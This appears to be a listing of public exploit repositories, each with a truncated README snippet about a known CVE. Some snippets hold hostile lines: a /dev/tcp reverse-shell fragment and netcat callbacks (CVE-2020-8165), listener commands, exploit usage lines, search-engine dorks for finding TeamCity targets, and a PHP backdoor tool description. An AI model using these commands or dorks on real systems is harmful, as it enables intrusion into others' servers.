CVE-2017-12615-PoC

CVE 2017-12615 Apache Tomcat Windows RCE ⚠️Warning This is a proof of concept environment and exploit for known CVEs, strictly for learning and educational purposes. Do not use these scripts or techniques on systems you do not own or have explicit permission to test. Unauthorised access or...

CVE-2025-24367-Cacti-PoC

CVE-2025-24367 - Cacti Authenticated Graph Template RCE Usage & Safety Important — Read this first: This repository and exploit.py are provided for educational and research purposes only. Do not use this code against systems, networks, or services for which you do not have explicit, written...

CVE-2024-27198-RCE

Cyberspace Mapping Dork Fofa app="JETBRAINS-TeamCity" ZoomEye app:"JetBrains TeamCity" Hunter.how product.name="TeamCity" Shodan http.component:"teamcity" How to use I'm using Python3.9. pip install requests urllib3 python CVE-2024-27198-RCE.py -h | | / | | \ / | | | |/ / | ' | | | | | | | | | |...

CVE-2025-6218-WinRAR-Directory-Traversal-RCE

CVE-2025-6218-WinRAR-Directory-Traversal-RCE CVE-2025-6218 is a directory traversal vulnerability in WinRAR that allows an attacker to place files outside the intended extraction directory when a user extracts a specially crafted .rar archive. By exploiting this flaw, an attacker can drop malicio...

CVE-2020-8165

CVE-2020-8165 Python Exploit This is code to exploit CVE-2020-8165 using Python3. This exploit works with rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" Major Credits Original CVE details:...

CVE-2025-64512-Polyglot-PoC

CVE-2025-64512 Polyglot Payload In the last weeks in November 2025, an interesting vulnerability CVE-2025-64512 was disclosed in pdfminer.six, a popular Python project to process PDF files, used in particular in AI pipelines. The vulnerability enables remote code execution by deserializing...

Remot3d

Remot3d - An Easy Way To Exploiting Will be update soon It's easy to create a backdoor in an instant, the backdoor can be used in a remote process via a Linux terminal on the server that runs the PHP Language program. Made to bypass the system that is disabled on the server, especially for readin...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-Reverse-Shell Reverse shell for CVE-2024-28397. Exploit works for js2py = v0.74 Requirements requests library pip install requests Python3 Netcat Or something that you can use as a listener for the reverse shell Usage For listener nc -lnvp 4444 For exploit python3 exploit.py...

CVE-2025-49619

CVE-2025-49619 PoC This script exploits CVE-2025-49619 in Skyvern to execute a reverse shell command. Author Name: Cristian Branet GitHub: cristibtz Usage 1. Start a listener nc -lvnp 2. Run the exploit python3 exploit.py -u "http://:" -k "" -i -p : Skyvern server IP : Skyvern server port : Your...

CVE-2024-21689

CVE-2024–21689 RCE Bamboo Data Center and Server Atlassian CVSS Score - 7.6 🔥 Description This High severity RCE Remote Code Execution vulnerability CVE-2024-21689 was introduced in versions 9.1.0, 9.2.0, 9.3.0, 9.4.0, 9.5.0, and 9.6.0 of Bamboo Data Center and Server. This RCE Remote Code...

CVE-2024-33438

Arbitrary File Upload Leads to RCE CVE-2024-33438 CubeCart After running it, this is the expected output for a successful exploitation: python3 CubeCartCVE.py http://localhost/admin0Kqnr9.php admin 123456 whoami ,----. ||/ '. / O|| /| / "" / / // / launching exploit ||/ please wait... + Trying to...

cve-2019-0227

cve-2019-0227 Apache Axis 1.4 remote code execution vulnerability You need to set up a listener on the local machine with msf, and also modify lines 24-30 of the code. ＃You need to change these variables to match your configuration myip = “ 192.168.0.117 ” ＃Your machine's IP target = “...

CVE-2023-46818-Exploit

CVE-2023-46818-Exploit This is my own exploit for CVE-2023-46818 happy hacking! This exploit automates the attack described in CVE-2023-46818 by taking advantage of a PHP code injection vulnerability in ISPConfig version 3.2.11 and earlier. It logs into the ISPConfig panel using valid credentials...

CVE-2024-29895-CactiRCE-PoC

Cacti RCE - CVE-2024-29895 Usage: python3 cve-2024-29895.py -u https://target.com/ -c id Affecting Cacti versions 1.3.X on DEV builds where cmdrealtime.php is present and POLLERID is enabled. Command Injection is possible via this endpoint, by requesting via GET with payload as HTML Query...

ctf-cve-2024-4577

CVE-2024-4577 CTF Challenge Overview This CTF challenge demonstrates CVE-2024-4577, a critical PHP CGI argument injection vulnerability affecting PHP versions 8.1.x 8.1.21, 8.2.x 8.2.8, and 8.3.x 8.3.1. Vulnerability Details CVE-2024-4577 is a PHP CGI argument injection vulnerability that occurs...

CVE-2024-38063

CVE-2024-38063 Windows Vulnerability that allows the implementation of unauthorised activity over the network: remote execution of Windows TCP/IP remote code. Two virtual machines - a victim and an attacker - are ready to simulate the attack. On the victim machine, a tool for capturing network...

CVE-2019-0752

https://www.thezdi.com/blog/2019/5/21/rce-without-native-code-exploitation-of-a-write-what-where-in-internet-explorer PoC exploit for CVE-2019-0752 Targets Internet Explorer 11 32bit on Windows 10 x64 up to RS4, RS5? Uses special address values in adddition to some path magic to avoid using...

PanOsExploitMultitool

PanOsExploitMultitool Exploitation and Post-Exploitation Multitool for Palo Alto PAN-OS Systems affected by vulnerabilities CVE-2024-0012 and CVE-2024-9474 During early exploitation of CVE-2024-0012 and CVE-2024-9474's Remote Code Execution vulnerabilities, I acquired a shell and began identifyin...

POC_CVE-2024-46256

POCCVE-2024-46256 CVE-2024-46256 and CVE-2024-46257 is the same POC, just change the provider param. Note Sometimes the nc file can't execute on the server or can't execute command! Install require pip install requests Run Exploit python3 POCCVE-2024-46256.py + Target type IP/Host? i/h: i + Enter...

CVE-2025-50754-PoC

CVE-2025-50754 Stored XSS to Remote Code Execution in a PHP-Based CMS Platform Summary A PHP-based CMS platform version 5 contains a stored Cross-Site Scripting XSS vulnerability in the "Report" feature. When an administrator views a user-submitted report, malicious JavaScript is executed within...